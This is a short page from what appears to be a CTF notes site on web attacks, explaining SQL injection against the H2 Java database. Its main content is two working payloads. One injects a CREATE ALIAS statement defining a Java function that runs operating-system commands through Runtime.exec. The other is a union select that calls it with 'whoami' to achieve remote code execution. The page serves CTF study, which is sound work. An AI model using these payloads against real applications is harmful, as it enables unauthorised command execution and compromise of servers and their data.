> For the complete documentation index, see [llms.txt](https://notes.programmersecurity.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://notes.programmersecurity.com/ctfs/web.md).

# WEB

## SQL Injection

### H2 Database Exploit ALIAS Sql Injection (Java)

The H2 engine uses several defined functions and commands to interact with the database. The noteworthy ones are :

* **FILE\_READ:** Returns the contents of a file. ***(function)***
* **FILE\_WRITE:** Write the supplied parameter into a file.***(function)***
* **CSVWRITE:** Writes a CSV (comma separated values). ***(function)***
* **CREATE ALIAS:** Creates a new function alias. ***(command).***

We can Create an Alias and then we Can Run our SQL Queries to exploit this Case Scenario

```sql
1'; CREATE ALIAS EXECVE AS 'String execve(String cmd) throws java.io.IOException { return new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").hasNext() ? new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next() : ""; }'; --
```

after that you can do 

```python
1' union select 1,2,execve('whoami')-- # this should get executed
```